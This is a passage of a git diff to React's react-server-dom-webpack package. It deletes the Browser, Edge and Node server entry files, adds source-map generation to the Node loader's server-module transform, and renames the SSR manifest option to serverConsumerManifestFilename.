--- a/packages/react-server-dom-webpack/src/ReactFlightDOMServerBrowser.js
+++ /dev/null
@@ -1,122 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-import type {ReactClientValue} from 'react-server/src/ReactFlightServer';
-import type {Thenable} from 'shared/ReactTypes';
-import type {ClientManifest} from './ReactFlightServerConfigWebpackBundler';
-import type {ServerManifest} from 'react-client/src/ReactFlightClientConfig';
-
-import {
-  createRequest,
-  startWork,
-  startFlowing,
-  stopFlowing,
-  abort,
-} from 'react-server/src/ReactFlightServer';
-
-import {
-  createResponse,
-  close,
-  getRoot,
-} from 'react-server/src/ReactFlightReplyServer';
-
-import {
-  decodeAction,
-  decodeFormState,
-} from 'react-server/src/ReactFlightActionServer';
-
-export {
-  registerServerReference,
-  registerClientReference,
-  createClientModuleProxy,
-} from './ReactFlightWebpackReferences';
-
-import type {TemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';
-
-export {createTemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';
-
-export type {TemporaryReferenceSet};
-
-type Options = {
-  environmentName?: string | (() => string),
-  identifierPrefix?: string,
-  signal?: AbortSignal,
-  temporaryReferences?: TemporaryReferenceSet,
-  onError?: (error: mixed) => void,
-  onPostpone?: (reason: string) => void,
-};
-
-function renderToReadableStream(
-  model: ReactClientValue,
-  webpackMap: ClientManifest,
-  options?: Options,
-): ReadableStream {
-  const request = createRequest(
-    model,
-    webpackMap,
-    options ? options.onError : undefined,
-    options ? options.identifierPrefix : undefined,
-    options ? options.onPostpone : undefined,
-    options ? options.environmentName : undefined,
-    options ? options.temporaryReferences : undefined,
-  );
-  if (options && options.signal) {
-    const signal = options.signal;
-    if (signal.aborted) {
-      abort(request, (signal: any).reason);
-    } else {
-      const listener = () => {
-        abort(request, (signal: any).reason);
-        signal.removeEventListener('abort', listener);
-      };
-      signal.addEventListener('abort', listener);
-    }
-  }
-  const stream = new ReadableStream(
-    {
-      type: 'bytes',
-      start: (controller): ?Promise<void> => {
-        startWork(request);
-      },
-      pull: (controller): ?Promise<void> => {
-        startFlowing(request, controller);
-      },
-      cancel: (reason): ?Promise<void> => {
-        stopFlowing(request);
-        abort(request, reason);
-      },
-    },
-    // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.
-    {highWaterMark: 0},
-  );
-  return stream;
-}
-
-function decodeReply<T>(
-  body: string | FormData,
-  webpackMap: ServerManifest,
-  options?: {temporaryReferences?: TemporaryReferenceSet},
-): Thenable<T> {
-  if (typeof body === 'string') {
-    const form = new FormData();
-    form.append('0', body);
-    body = form;
-  }
-  const response = createResponse(
-    webpackMap,
-    '',
-    options ? options.temporaryReferences : undefined,
-    body,
-  );
-  const root = getRoot<T>(response);
-  close(response);
-  return root;
-}
-
-export {renderToReadableStream, decodeReply, decodeAction, decodeFormState};
diff --git a/packages/react-server-dom-webpack/src/ReactFlightDOMServerEdge.js b/packages/react-server-dom-webpack/src/ReactFlightDOMServerEdge.js
deleted file mode 100644
index e446778a71f6..000000000000
--- a/packages/react-server-dom-webpack/src/ReactFlightDOMServerEdge.js
+++ /dev/null
@@ -1,122 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-import type {ReactClientValue} from 'react-server/src/ReactFlightServer';
-import type {Thenable} from 'shared/ReactTypes';
-import type {ClientManifest} from './ReactFlightServerConfigWebpackBundler';
-import type {ServerManifest} from 'react-client/src/ReactFlightClientConfig';
-
-import {
-  createRequest,
-  startWork,
-  startFlowing,
-  stopFlowing,
-  abort,
-} from 'react-server/src/ReactFlightServer';
-
-import {
-  createResponse,
-  close,
-  getRoot,
-} from 'react-server/src/ReactFlightReplyServer';
-
-import {
-  decodeAction,
-  decodeFormState,
-} from 'react-server/src/ReactFlightActionServer';
-
-export {
-  registerServerReference,
-  registerClientReference,
-  createClientModuleProxy,
-} from './ReactFlightWebpackReferences';
-
-import type {TemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';
-
-export {createTemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';
-
-export type {TemporaryReferenceSet};
-
-type Options = {
-  environmentName?: string | (() => string),
-  identifierPrefix?: string,
-  signal?: AbortSignal,
-  temporaryReferences?: TemporaryReferenceSet,
-  onError?: (error: mixed) => void,
-  onPostpone?: (reason: string) => void,
-};
-
-function renderToReadableStream(
-  model: ReactClientValue,
-  webpackMap: ClientManifest,
-  options?: Options,
-): ReadableStream {
-  const request = createRequest(
-    model,
-    webpackMap,
-    options ? options.onError : undefined,
-    options ? options.identifierPrefix : undefined,
-    options ? options.onPostpone : undefined,
-    options ? options.environmentName : undefined,
-    options ? options.temporaryReferences : undefined,
-  );
-  if (options && options.signal) {
-    const signal = options.signal;
-    if (signal.aborted) {
-      abort(request, (signal: any).reason);
-    } else {
-      const listener = () => {
-        abort(request, (signal: any).reason);
-        signal.removeEventListener('abort', listener);
-      };
-      signal.addEventListener('abort', listener);
-    }
-  }
-  const stream = new ReadableStream(
-    {
-      type: 'bytes',
-      start: (controller): ?Promise<void> => {
-        startWork(request);
-      },
-      pull: (controller): ?Promise<void> => {
-        startFlowing(request, controller);
-      },
-      cancel: (reason): ?Promise<void> => {
-        stopFlowing(request);
-        abort(request, reason);
-      },
-    },
-    // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.
-    {highWaterMark: 0},
-  );
-  return stream;
-}
-
-function decodeReply<T>(
-  body: string | FormData,
-  webpackMap: ServerManifest,
-  options?: {temporaryReferences?: TemporaryReferenceSet},
-): Thenable<T> {
-  if (typeof body === 'string') {
-    const form = new FormData();
-    form.append('0', body);
-    body = form;
-  }
-  const response = createResponse(
-    webpackMap,
-    '',
-    options ? options.temporaryReferences : undefined,
-    body,
-  );
-  const root = getRoot<T>(response);
-  close(response);
-  return root;
-}
-
-export {renderToReadableStream, decodeReply, decodeAction, decodeFormState};
diff --git a/packages/react-server-dom-webpack/src/ReactFlightDOMServerNode.js b/packages/react-server-dom-webpack/src/ReactFlightDOMServerNode.js
deleted file mode 100644
index 5560b1c03347..000000000000
--- a/packages/react-server-dom-webpack/src/ReactFlightDOMServerNode.js
+++ /dev/null
@@ -1,214 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-import type {
-  Request,
-  ReactClientValue,
-} from 'react-server/src/ReactFlightServer';
-import type {Destination} from 'react-server/src/ReactServerStreamConfigNode';
-import type {ClientManifest} from './ReactFlightServerConfigWebpackBundler';
-import type {ServerManifest} from 'react-client/src/ReactFlightClientConfig';
-import type {Busboy} from 'busboy';
-import type {Writable} from 'stream';
-import type {Thenable} from 'shared/ReactTypes';
-
-import {
-  createRequest,
-  startWork,
-  startFlowing,
-  stopFlowing,
-  abort,
-} from 'react-server/src/ReactFlightServer';
-
-import {
-  createResponse,
-  reportGlobalError,
-  close,
-  resolveField,
-  resolveFileInfo,
-  resolveFileChunk,
-  resolveFileComplete,
-  getRoot,
-} from 'react-server/src/ReactFlightReplyServer';
-
-import {
-  decodeAction,
-  decodeFormState,
-} from 'react-server/src/ReactFlightActionServer';
-
-export {
-  registerServerReference,
-  registerClientReference,
-  createClientModuleProxy,
-} from './ReactFlightWebpackReferences';
-
-import type {TemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';
-
-export {createTemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';
-
-export type {TemporaryReferenceSet};
-
-function createDrainHandler(destination: Destination, request: Request) {
-  return () => startFlowing(request, destination);
-}
-
-function createCancelHandler(request: Request, reason: string) {
-  return () => {
-    stopFlowing(request);
-    // eslint-disable-next-line react-internal/prod-error-codes
-    abort(request, new Error(reason));
-  };
-}
-
-type Options = {
-  environmentName?: string | (() => string),
-  onError?: (error: mixed) => void,
-  onPostpone?: (reason: string) => void,
-  identifierPrefix?: string,
-  temporaryReferences?: TemporaryReferenceSet,
-};
-
-type PipeableStream = {
-  abort(reason: mixed): void,
-  pipe<T: Writable>(destination: T): T,
-};
-
-function renderToPipeableStream(
-  model: ReactClientValue,
-  webpackMap: ClientManifest,
-  options?: Options,
-): PipeableStream {
-  const request = createRequest(
-    model,
-    webpackMap,
-    options ? options.onError : undefined,
-    options ? options.identifierPrefix : undefined,
-    options ? options.onPostpone : undefined,
-    options ? options.environmentName : undefined,
-    options ? options.temporaryReferences : undefined,
-  );
-  let hasStartedFlowing = false;
-  startWork(request);
-  return {
-    pipe<T: Writable>(destination: T): T {
-      if (hasStartedFlowing) {
-        throw new Error(
-          'React currently only supports piping to one writable stream.',
-        );
-      }
-      hasStartedFlowing = true;
-      startFlowing(request, destination);
-      destination.on('drain', createDrainHandler(destination, request));
-      destination.on(
-        'error',
-        createCancelHandler(
-          request,
-          'The destination stream errored while writing data.',
-        ),
-      );
-      destination.on(
-        'close',
-        createCancelHandler(request, 'The destination stream closed early.'),
-      );
-      return destination;
-    },
-    abort(reason: mixed) {
-      abort(request, reason);
-    },
-  };
-}
-
-function decodeReplyFromBusboy<T>(
-  busboyStream: Busboy,
-  webpackMap: ServerManifest,
-  options?: {temporaryReferences?: TemporaryReferenceSet},
-): Thenable<T> {
-  const response = createResponse(
-    webpackMap,
-    '',
-    options ? options.temporaryReferences : undefined,
-  );
-  let pendingFiles = 0;
-  const queuedFields: Array<string> = [];
-  busboyStream.on('field', (name, value) => {
-    if (pendingFiles > 0) {
-      // Because the 'end' event fires two microtasks after the next 'field'
-      // we would resolve files and fields out of order. To handle this properly
-      // we queue any fields we receive until the previous file is done.
-      queuedFields.push(name, value);
-    } else {
-      resolveField(response, name, value);
-    }
-  });
-  busboyStream.on('file', (name, value, {filename, encoding, mimeType}) => {
-    if (encoding.toLowerCase() === 'base64') {
-      throw new Error(
-        "React doesn't accept base64 encoded file uploads because we don't expect " +
-          "form data passed from a browser to ever encode data that way. If that's " +
-          'the wrong assumption, we can easily fix it.',
-      );
-    }
-    pendingFiles++;
-    const file = resolveFileInfo(response, name, filename, mimeType);
-    value.on('data', chunk => {
-      resolveFileChunk(response, file, chunk);
-    });
-    value.on('end', () => {
-      resolveFileComplete(response, name, file);
-      pendingFiles--;
-      if (pendingFiles === 0) {
-        // Release any queued fields
-        for (let i = 0; i < queuedFields.length; i += 2) {
-          resolveField(response, queuedFields[i], queuedFields[i + 1]);
-        }
-        queuedFields.length = 0;
-      }
-    });
-  });
-  busboyStream.on('finish', () => {
-    close(response);
-  });
-  busboyStream.on('error', err => {
-    reportGlobalError(
-      response,
-      // $FlowFixMe[incompatible-call] types Error and mixed are incompatible
-      err,
-    );
-  });
-  return getRoot(response);
-}
-
-function decodeReply<T>(
-  body: string | FormData,
-  webpackMap: ServerManifest,
-  options?: {temporaryReferences?: TemporaryReferenceSet},
-): Thenable<T> {
-  if (typeof body === 'string') {
-    const form = new FormData();
-    form.append('0', body);
-    body = form;
-  }
-  const response = createResponse(
-    webpackMap,
-    '',
-    options ? options.temporaryReferences : undefined,
-    body,
-  );
-  const root = getRoot<T>(response);
-  close(response);
-  return root;
-}
-
-export {
-  renderToPipeableStream,
-  decodeReplyFromBusboy,
-  decodeReply,
-  decodeAction,
-  decodeFormState,
-};
diff --git a/packages/react-server-dom-webpack/src/ReactFlightWebpackNodeLoader.js b/packages/react-server-dom-webpack/src/ReactFlightWebpackNodeLoader.js
index 58d577893fee..9799acc3a07b 100644
--- a/packages/react-server-dom-webpack/src/ReactFlightWebpackNodeLoader.js
+++ b/packages/react-server-dom-webpack/src/ReactFlightWebpackNodeLoader.js
@@ -9,6 +9,9 @@
 
 import * as acorn from 'acorn-loose';
 
+import readMappings from 'webpack-sources/lib/helpers/readMappings.js';
+import createMappingsSerializer from 'webpack-sources/lib/helpers/createMappingsSerializer.js';
+
 type ResolveContext = {
   conditions: Array<string>,
   parentURL: string | void,
@@ -95,45 +98,102 @@ export async function getSource(
   return defaultGetSource(url, context, defaultGetSource);
 }
 
-function addLocalExportedNames(names: Map<string, string>, node: any) {
+type ExportedEntry = {
+  localName: string,
+  exportedName: string,
+  type: null | string,
+  loc: {
+    start: {line: number, column: number},
+    end: {line: number, column: number},
+  },
+  originalLine: number,
+  originalColumn: number,
+  originalSource: number,
+  nameIndex: number,
+};
+
+function addExportedEntry(
+  exportedEntries: Array<ExportedEntry>,
+  localNames: Set<string>,
+  localName: string,
+  exportedName: string,
+  type: null | 'function',
+  loc: {
+    start: {line: number, column: number},
+    end: {line: number, column: number},
+  },
+) {
+  if (localNames.has(localName)) {
+    // If the same local name is exported more than once, we only need one of the names.
+    return;
+  }
+  exportedEntries.push({
+    localName,
+    exportedName,
+    type,
+    loc,
+    originalLine: -1,
+    originalColumn: -1,
+    originalSource: -1,
+    nameIndex: -1,
+  });
+}
+
+function addLocalExportedNames(
+  exportedEntries: Array<ExportedEntry>,
+  localNames: Set<string>,
+  node: any,
+) {
   switch (node.type) {
     case 'Identifier':
-      names.set(node.name, node.name);
+      addExportedEntry(
+        exportedEntries,
+        localNames,
+        node.name,
+        node.name,
+        null,
+        node.loc,
+      );
       return;
     case 'ObjectPattern':
       for (let i = 0; i < node.properties.length; i++)
-        addLocalExportedNames(names, node.properties[i]);
+        addLocalExportedNames(exportedEntries, localNames, node.properties[i]);
       return;
     case 'ArrayPattern':
       for (let i = 0; i < node.elements.length; i++) {
         const element = node.elements[i];
-        if (element) addLocalExportedNames(names, element);
+        if (element)
+          addLocalExportedNames(exportedEntries, localNames, element);
       }
       return;
     case 'Property':
-      addLocalExportedNames(names, node.value);
+      addLocalExportedNames(exportedEntries, localNames, node.value);
       return;
     case 'AssignmentPattern':
-      addLocalExportedNames(names, node.left);
+      addLocalExportedNames(exportedEntries, localNames, node.left);
       return;
     case 'RestElement':
-      addLocalExportedNames(names, node.argument);
+      addLocalExportedNames(exportedEntries, localNames, node.argument);
       return;
     case 'ParenthesizedExpression':
-      addLocalExportedNames(names, node.expression);
+      addLocalExportedNames(exportedEntries, localNames, node.expression);
       return;
   }
 }
 
 function transformServerModule(
   source: string,
-  body: any,
+  program: any,
   url: string,
+  sourceMap: any,
   loader: LoadFunction,
 ): string {
-  // If the same local name is exported more than once, we only need one of the names.
-  const localNames: Map<string, string> = new Map();
-  const localTypes: Map<string, string> = new Map();
+  const body = program.body;
+
+  // This entry list needs to be in source location order.
+  const exportedEntries: Array<ExportedEntry> = [];
+  // Dedupe set.
+  const localNames: Set<string> = new Set();
 
   for (let i = 0; i < body.length; i++) {
     const node = body[i];
@@ -143,11 +203,24 @@ function transformServerModule(
         break;
       case 'ExportDefaultDeclaration':
         if (node.declaration.type === 'Identifier') {
-          localNames.set(node.declaration.name, 'default');
+          addExportedEntry(
+            exportedEntries,
+            localNames,
+            node.declaration.name,
+            'default',
+            null,
+            node.declaration.loc,
+          );
         } else if (node.declaration.type === 'FunctionDeclaration') {
           if (node.declaration.id) {
-            localNames.set(node.declaration.id.name, 'default');
-            localTypes.set(node.declaration.id.name, 'function');
+            addExportedEntry(
+              exportedEntries,
+              localNames,
+              node.declaration.id.name,
+              'default',
+              'function',
+              node.declaration.id.loc,
+            );
           } else {
             // TODO: This needs to be rewritten inline because it doesn't have a local name.
           }
@@ -158,41 +231,230 @@ function transformServerModule(
           if (node.declaration.type === 'VariableDeclaration') {
             const declarations = node.declaration.declarations;
             for (let j = 0; j < declarations.length; j++) {
-              addLocalExportedNames(localNames, declarations[j].id);
+              addLocalExportedNames(
+                exportedEntries,
+                localNames,
+                declarations[j].id,
+              );
             }
           } else {
             const name = node.declaration.id.name;
-            localNames.set(name, name);
-            if (node.declaration.type === 'FunctionDeclaration') {
-              localTypes.set(name, 'function');
-            }
+            addExportedEntry(
+              exportedEntries,
+              localNames,
+              name,
+              name,
+
+              node.declaration.type === 'FunctionDeclaration'
+                ? 'function'
+                : null,
+              node.declaration.id.loc,
+            );
           }
         }
         if (node.specifiers) {
           const specifiers = node.specifiers;
           for (let j = 0; j < specifiers.length; j++) {
             const specifier = specifiers[j];
-            localNames.set(specifier.local.name, specifier.exported.name);
+            addExportedEntry(
+              exportedEntries,
+              localNames,
+              specifier.local.name,
+              specifier.exported.name,
+              null,
+              specifier.local.loc,
+            );
           }
         }
         continue;
     }
   }
-  if (localNames.size === 0) {
-    return source;
-  }
-  let newSrc = source + '\n\n;';
-  newSrc +=
-    'import {registerServerReference} from "react-server-dom-webpack/server";\n';
-  localNames.forEach(function (exported, local) {
-    if (localTypes.get(local) !== 'function') {
-      // We first check if the export is a function and if so annotate it.
-      newSrc += 'if (typeof ' + local + ' === "function") ';
+
+  let mappings =
+    sourceMap && typeof sourceMap.mappings === 'string'
+      ? sourceMap.mappings
+      : '';
+  let newSrc = source;
+
+  if (exportedEntries.length > 0) {
+    let lastSourceIndex = 0;
+    let lastOriginalLine = 0;
+    let lastOriginalColumn = 0;
+    let lastNameIndex = 0;
+    let sourceLineCount = 0;
+    let lastMappedLine = 0;
+
+    if (sourceMap) {
+      // We iterate source mapping entries and our matched exports in parallel to source map
+      // them to their original location.
+      let nextEntryIdx = 0;
+      let nextEntryLine = exportedEntries[nextEntryIdx].loc.start.line;
+      let nextEntryColumn = exportedEntries[nextEntryIdx].loc.start.column;
+      readMappings(
+        mappings,
+        (
+          generatedLine: number,
+          generatedColumn: number,
+          sourceIndex: number,
+          originalLine: number,
+          originalColumn: number,
+          nameIndex: number,
+        ) => {
+          if (
+            generatedLine > nextEntryLine ||
+            (generatedLine === nextEntryLine &&
+              generatedColumn > nextEntryColumn)
+          ) {
+            // We're past the entry which means that the best match we have is the previous entry.
+            if (lastMappedLine === nextEntryLine) {
+              // Match
+              exportedEntries[nextEntryIdx].originalLine = lastOriginalLine;
+              exportedEntries[nextEntryIdx].originalColumn = lastOriginalColumn;
+              exportedEntries[nextEntryIdx].originalSource = lastSourceIndex;
+              exportedEntries[nextEntryIdx].nameIndex = lastNameIndex;
+            } else {
+              // Skip if we didn't have any mappings on the exported line.
+            }
+            nextEntryIdx++;
+            if (nextEntryIdx < exportedEntries.length) {
+              nextEntryLine = exportedEntries[nextEntryIdx].loc.start.line;
+              nextEntryColumn = exportedEntries[nextEntryIdx].loc.start.column;
+            } else {
+              nextEntryLine = -1;
+              nextEntryColumn = -1;
+            }
+          }
+          lastMappedLine = generatedLine;
+          if (sourceIndex > -1) {
+            lastSourceIndex = sourceIndex;
+          }
+          if (originalLine > -1) {
+            lastOriginalLine = originalLine;
+          }
+          if (originalColumn > -1) {
+            lastOriginalColumn = originalColumn;
+          }
+          if (nameIndex > -1) {
+            lastNameIndex = nameIndex;
+          }
+        },
+      );
+      if (nextEntryIdx < exportedEntries.length) {
+        if (lastMappedLine === nextEntryLine) {
+          // Match
+          exportedEntries[nextEntryIdx].originalLine = lastOriginalLine;
+          exportedEntries[nextEntryIdx].originalColumn = lastOriginalColumn;
+          exportedEntries[nextEntryIdx].originalSource = lastSourceIndex;
+          exportedEntries[nextEntryIdx].nameIndex = lastNameIndex;
+        }
+      }
+
+      for (
+        let lastIdx = mappings.length - 1;
+        lastIdx >= 0 && mappings[lastIdx] === ';';
+        lastIdx--
+      ) {
+        // If the last mapped lines don't contain any segments, we don't get a callback from readMappings
+        // so we need to pad the number of mapped lines, with one for each empty line.
+        lastMappedLine++;
+      }
+
+      sourceLineCount = program.loc.end.line;
+      if (sourceLineCount < lastMappedLine) {
+        throw new Error(
+          'The source map has more mappings than there are lines.',
+        );
+      }
+      // If the original source string had more lines than there are mappings in the source map.
+      // Add some extra padding of unmapped lines so that any lines that we add line up.
+      for (
+        let extraLines = sourceLineCount - lastMappedLine;
+        extraLines > 0;
+        extraLines--
+      ) {
+        mappings += ';';
+      }
+    } else {
+      // If a file doesn't have a source map then we generate a blank source map that just
+      // contains the original content and segments pointing to the original lines.
+      sourceLineCount = 1;
+      let idx = -1;
+      while ((idx = source.indexOf('\n', idx + 1)) !== -1) {
+        sourceLineCount++;
+      }
+      mappings = 'AAAA' + ';AACA'.repeat(sourceLineCount - 1);
+      sourceMap = {
+        version: 3,
+        sources: [url],
+        sourcesContent: [source],
+        mappings: mappings,
+        sourceRoot: '',
+      };
+      lastSourceIndex = 0;
+      lastOriginalLine = sourceLineCount;
+      lastOriginalColumn = 0;
+      lastNameIndex = -1;
+      lastMappedLine = sourceLineCount;
+
+      for (let i = 0; i < exportedEntries.length; i++) {
+        // Point each entry to original location.
+        const entry = exportedEntries[i];
+        entry.originalSource = 0;
+        entry.originalLine = entry.loc.start.line;
+        // We use column zero since we do the short-hand line-only source maps above.
+        entry.originalColumn = 0; // entry.loc.start.column;
+      }
     }
-    newSrc += 'registerServerReference(' + local + ',';
-    newSrc += JSON.stringify(url) + ',';
-    newSrc += JSON.stringify(exported) + ');\n';
-  });
+
+    newSrc += '\n\n;';
+    newSrc +=
+      'import {registerServerReference} from "react-server-dom-webpack/server";\n';
+    if (mappings) {
+      mappings += ';;';
+    }
+
+    const createMapping = createMappingsSerializer();
+
+    // Create an empty mapping pointing to where we last left off to reset the counters.
+    let generatedLine = 1;
+    createMapping(
+      generatedLine,
+      0,
+      lastSourceIndex,
+      lastOriginalLine,
+      lastOriginalColumn,
+      lastNameIndex,
+    );
+    for (let i = 0; i < exportedEntries.length; i++) {
+      const entry = exportedEntries[i];
+      generatedLine++;
+      if (entry.type !== 'function') {
+        // We first check if the export is a function and if so annotate it.
+        newSrc += 'if (typeof ' + entry.localName + ' === "function") ';
+      }
+      newSrc += 'registerServerReference(' + entry.localName + ',';
+      newSrc += JSON.stringify(url) + ',';
+      newSrc += JSON.stringify(entry.exportedName) + ');\n';
+
+      mappings += createMapping(
+        generatedLine,
+        0,
+        entry.originalSource,
+        entry.originalLine,
+        entry.originalColumn,
+        entry.nameIndex,
+      );
+    }
+  }
+
+  if (sourceMap) {
+    // Override with an new mappings and serialize an inline source map.
+    sourceMap.mappings = mappings;
+    newSrc +=
+      '//# sourceMappingURL=data:application/json;charset=utf-8;base64,' +
+      Buffer.from(JSON.stringify(sourceMap)).toString('base64');
+  }
+
   return newSrc;
 }
 
@@ -307,10 +569,13 @@ async function parseExportNamesInto(
 }
 
 async function transformClientModule(
-  body: any,
+  program: any,
   url: string,
+  sourceMap: any,
   loader: LoadFunction,
 ): Promise<string> {
+  const body = program.body;
+
   const names: Array<string> = [];
 
   await parseExportNamesInto(body, names, url, loader);
@@ -329,9 +594,9 @@ async function transformClientModule(
       newSrc +=
         'throw new Error(' +
         JSON.stringify(
-          `Attempted to call the default export of ${url} from the server` +
+          `Attempted to call the default export of ${url} from the server ` +
             `but it's on the client. It's not possible to invoke a client function from ` +
-            `the server, it can only be rendered as a Component or passed to props of a` +
+            `the server, it can only be rendered as a Component or passed to props of a ` +
             `Client Component.`,
         ) +
         ');';
@@ -351,6 +616,9 @@ async function transformClientModule(
     newSrc += JSON.stringify(url) + ',';
     newSrc += JSON.stringify(name) + ');\n';
   }
+
+  // TODO: Generate source maps for Client Reference functions so they can point to their
+  // original locations.
   return newSrc;
 }
 
@@ -391,12 +659,36 @@ async function transformModuleIfNeeded(
     return source;
   }
 
-  let body;
+  let sourceMappingURL = null;
+  let sourceMappingStart = 0;
+  let sourceMappingEnd = 0;
+  let sourceMappingLines = 0;
+
+  let program;
   try {
-    body = acorn.parse(source, {
+    program = acorn.parse(source, {
       ecmaVersion: '2024',
       sourceType: 'module',
-    }).body;
+      locations: true,
+      onComment(
+        block: boolean,
+        text: string,
+        start: number,
+        end: number,
+        startLoc: {line: number, column: number},
+        endLoc: {line: number, column: number},
+      ) {
+        if (
+          text.startsWith('# sourceMappingURL=') ||
+          text.startsWith('@ sourceMappingURL=')
+        ) {
+          sourceMappingURL = text.slice(19);
+          sourceMappingStart = start;
+          sourceMappingEnd = end;
+          sourceMappingLines = endLoc.line - startLoc.line;
+        }
+      },
+    });
   } catch (x) {
     // eslint-disable-next-line react-internal/no-production-logging
     console.error('Error parsing %s %s', url, x.message);
@@ -405,6 +697,8 @@ async function transformModuleIfNeeded(
 
   let useClient = false;
   let useServer = false;
+
+  const body = program.body;
   for (let i = 0; i < body.length; i++) {
     const node = body[i];
     if (node.type !== 'ExpressionStatement' || !node.directive) {
@@ -428,11 +722,38 @@ async function transformModuleIfNeeded(
     );
   }
 
+  let sourceMap = null;
+  if (sourceMappingURL) {
+    const sourceMapResult = await loader(
+      sourceMappingURL,
+      // $FlowFixMe
+      {
+        format: 'json',
+        conditions: [],
+        importAssertions: {type: 'json'},
+        importAttributes: {type: 'json'},
+      },
+      loader,
+    );
+    const sourceMapString =
+      typeof sourceMapResult.source === 'string'
+        ? sourceMapResult.source
+        : // $FlowFixMe
+          sourceMapResult.source.toString('utf8');
+    sourceMap = JSON.parse(sourceMapString);
+
+    // Strip the source mapping comment. We'll re-add it below if needed.
+    source =
+      source.slice(0, sourceMappingStart) +
+      '\n'.repeat(sourceMappingLines) +
+      source.slice(sourceMappingEnd);
+  }
+
   if (useClient) {
-    return transformClientModule(body, url, loader);
+    return transformClientModule(program, url, sourceMap, loader);
   }
 
-  return transformServerModule(source, body, url, loader);
+  return transformServerModule(source, program, url, sourceMap, loader);
 }
 
 export async function transformSource(
diff --git a/packages/react-server-dom-webpack/src/ReactFlightWebpackNodeRegister.js b/packages/react-server-dom-webpack/src/ReactFlightWebpackNodeRegister.js
index 36753e3c99ac..6dbc772444f7 100644
--- a/packages/react-server-dom-webpack/src/ReactFlightWebpackNodeRegister.js
+++ b/packages/react-server-dom-webpack/src/ReactFlightWebpackNodeRegister.js
@@ -43,7 +43,6 @@ module.exports = function register() {
         sourceType: 'source',
       }).body;
     } catch (x) {
-      // eslint-disable-next-line react-internal/no-production-logging
       console['error']('Error parsing %s %s', url, x.message);
       return originalCompile.apply(this, arguments);
     }
diff --git a/packages/react-server-dom-webpack/src/ReactFlightWebpackPlugin.js b/packages/react-server-dom-webpack/src/ReactFlightWebpackPlugin.js
index 82b866e419d4..59723c903f64 100644
--- a/packages/react-server-dom-webpack/src/ReactFlightWebpackPlugin.js
+++ b/packages/react-server-dom-webpack/src/ReactFlightWebpackPlugin.js
@@ -58,7 +58,7 @@ type Options = {
   clientReferences?: ClientReferencePath | $ReadOnlyArray<ClientReferencePath>,
   chunkName?: string,
   clientManifestFilename?: string,
-  ssrManifestFilename?: string,
+  serverConsumerManifestFilename?: string,
 };
 
 const PLUGIN_NAME = 'React Server Plugin';
@@ -67,7 +67,7 @@ export default class ReactFlightWebpackPlugin {
   clientReferences: $ReadOnlyArray<ClientReferencePath>;
   chunkName: string;
   clientManifestFilename: string;
-  ssrManifestFilename: string;
+  serverConsumerManifestFilename: string;
 
   constructor(options: Options) {
     if (!options || typeof options.isServer !== 'boolean') {
@@ -105,8 +105,8 @@ export default class ReactFlightWebpackPlugin {
     }
     this.clientManifestFilename =
       options.clientManifestFilename || 'react-client-manifest.json';
-    this.ssrManifestFilename =
-      options.ssrManifestFilename || 'react-ssr-manifest.json';
+    this.serverConsumerManifestFilename =
+      options.serverConsumerManifestFilename || 'react-ssr-manifest.json';
   }
 
   apply(compiler: any) {
@@ -239,18 +239,18 @@ export default class ReactFlightWebpackPlugin {
           const clientManifest: {
             [string]: ImportManifestEntry,
           } = {};
-          type SSRModuleMap = {
+          type ServerConsumerModuleMap = {
             [string]: {
               [string]: {specifier: string, name: string},
             },
           };
-          const moduleMap: SSRModuleMap = {};
+          const moduleMap: ServerConsumerModuleMap = {};
           const ssrBundleConfig: {
             moduleLoading: {
               prefix: string,
               crossOrigin: string | null,
             },
-            moduleMap: SSRModuleMap,
+            moduleMap: ServerConsumerModuleMap,
           } = {
             moduleLoading: {
               prefix: compilation.outputOptions.publicPath || '',
@@ -277,8 +277,14 @@ export default class ReactFlightWebpackPlugin {
             chunkGroup.chunks.forEach(function (c) {
               // eslint-disable-next-line no-for-of-loops/no-for-of-loops
               for (const file of c.files) {
-                if (!file.endsWith('.js')) return;
-                if (file.endsWith('.hot-update.js')) return;
+                if (!(file.endsWith('.js') || file.endsWith('.mjs'))) {
+                  return;
+                }
+                if (
+                  file.endsWith('.hot-update.js') ||
+                  file.endsWith('.hot-update.mjs')
+                )
+                  return;
                 chunks.push(c.id, file);
                 break;
               }
@@ -374,7 +380,7 @@ export default class ReactFlightWebpackPlugin {
           );
           const ssrOutput = JSON.stringify(ssrBundleConfig, null, 2);
           compilation.emitAsset(
-            _this.ssrManifestFilename,
+            _this.serverConsumerManifestFilename,
             new sources.RawSource(ssrOutput, false),
           );
         },
diff --git a/packages/react-server-dom-webpack/src/ReactFlightWebpackReferences.js b/packages/react-server-dom-webpack/src/ReactFlightWebpackReferences.js
index 78e8fa359426..b9f90b4d14b8 100644
--- a/packages/react-server-dom-webpack/src/ReactFlightWebpackReferences.js
+++ b/packages/react-server-dom-webpack/src/ReactFlightWebpackReferences.js
@@ -13,6 +13,7 @@ export type ServerReference<T: Function> = T & {
   $$typeof: symbol,
   $$id: string,
   $$bound: null | Array<ReactClientValue>,
+  $$location?: Error,
 };
 
 // eslint-disable-next-line no-unused-vars
@@ -62,7 +63,7 @@ const FunctionBind = Function.prototype.bind;
 // $FlowFixMe[method-unbinding]
 const ArraySlice = Array.prototype.slice;
 function bind(this: ServerReference<any>): any {
-  // $FlowFixMe[unsupported-syntax]
+  // $FlowFixMe[incompatible-call]
   const newFn = FunctionBind.apply(this, arguments);
   if (this.$$typeof === SERVER_REFERENCE_TAG) {
     if (__DEV__) {
@@ -74,35 +75,77 @@ function bind(this: ServerReference<any>): any {
       }
     }
